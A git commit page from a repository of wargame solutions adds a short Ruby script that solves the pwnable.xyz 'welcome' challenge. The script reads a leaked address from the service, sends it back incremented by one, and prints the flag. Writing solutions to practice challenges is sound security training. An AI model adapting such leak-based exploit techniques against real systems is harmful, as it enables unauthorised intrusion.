pwnables

solutions for several pwnables and wargames
Log | Files | Refs | Feed | README

commit d3b171973a700d8dae4bb0df3931a94a23de7d66
Author: Jenny Doe <tng@soykaf.me>
Date:   Thu,  2 May 2019 17:03:34 +0200

first commit

Diffstat:
Areadme | 3+++
Awelcome.rb | 28++++++++++++++++++++++++++++
2 files changed, 31 insertions(+), 0 deletions(-)

diff --git a/readme b/readme @@ -0,0 +1,3 @@ +pwnable.xyz + +* welcome.rb diff --git a/welcome.rb b/welcome.rb @@ -0,0 +1,28 @@ +require 'net/telnet' + +nc = Net::Telnet.new('Host' => 'svc.pwnable.xyz', + 'Port' => 30_000) + +# just a place to store the number +class <<nc + attr_writer :leak + + attr_reader :leak +end + +sleep(0.5) + +nc.cmd('') do |c| + if c =~ /Leak/ + nc.leak = c.split(': ')[1].to_i(16) + 1 + break + end +end + +sleep(0.5) + +nc.cmd(nc.leak.to_s) do |c| + puts c.gsub(/.*?(?=FLAG)/im, '') if c =~ /FLAG/ +end + +nc.close